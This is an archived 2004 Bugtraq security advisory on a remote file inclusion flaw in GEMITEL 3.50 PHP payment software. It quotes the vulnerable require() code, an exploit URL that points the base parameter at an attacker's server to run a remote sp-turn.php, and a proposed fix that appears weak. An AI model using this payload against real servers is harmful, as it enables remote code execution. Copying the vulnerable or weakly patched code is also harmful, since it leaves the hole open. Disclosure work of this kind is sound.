[34527] in bugtraq

home help back first fref pref prev next nref lref last post

Include vulnerability in GEMITEL v 3.50

daemon@ATHENA.MIT.EDU (jaguar)
Thu Apr 15 19:16:12 2004

Message-ID: <20040415132226.20224.qmail@mail.securityfocus.com>
From: "jaguar" <webmaster@wulab.com>
To: "bugtraq@securityfocus.com" <bugtraq@securityfocus.com>
Mime-Version: 1.0
Content-Type: text/plain;
      charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
Date: Thu, 15 Apr 2004 14:26:52 +0100

GEMITEL V 3 build 50  :: include vulnerability



URL : http://www.isesam.com/
FORUM : http://www.isesam.com/forums/gemitel/thread_open.shtml
Vendor has been contacted.





Description :
---------------

Gemitel is a free software written in php that allows to manage micro payments like allopass, mediapaiement, optelo-Sponsup or Rentabiliweb.




Vulnerability :
----------------


File :  html/affich.php

Code:
*****************************************************************************

$f_inc=$base."sp-turn.php";
$plus = "../";               // rajoute au chemin pour trouver les fichiers .txt
require("$f_inc");
//require("sp-turn.php");

*******************************************************************************

You can include sp-turn.php from where you want by specifying the variable $base.


Exploit :
----------

http://[vulnerable host]/[Gemitel folder]/html/affich.php?base=http://[your server]/

In [your server] you must have a sp-turn.php file which will be included by vulnerable host.



Solution:
-----------

Replace :

$f_inc=$base."sp-turn.php";
$plus = "../";               // rajoute au chemin pour trouver les fichiers .txt
require("$f_inc");
//require("sp-turn.php");

By

$f_inc=$base."sp-turn.php";
$plus = "../";               // rajoute au chemin pour trouver les fichiers .txt
if(file_exists($f_inc)){require("$f_inc");}
//require("sp-turn.php");





----------------------------------------------------------
jaguar[at]wulab.com
http://www.wulab.com  [hacking & Security]
-----------------------------------------------------------



home help back first fref pref prev next nref lref last post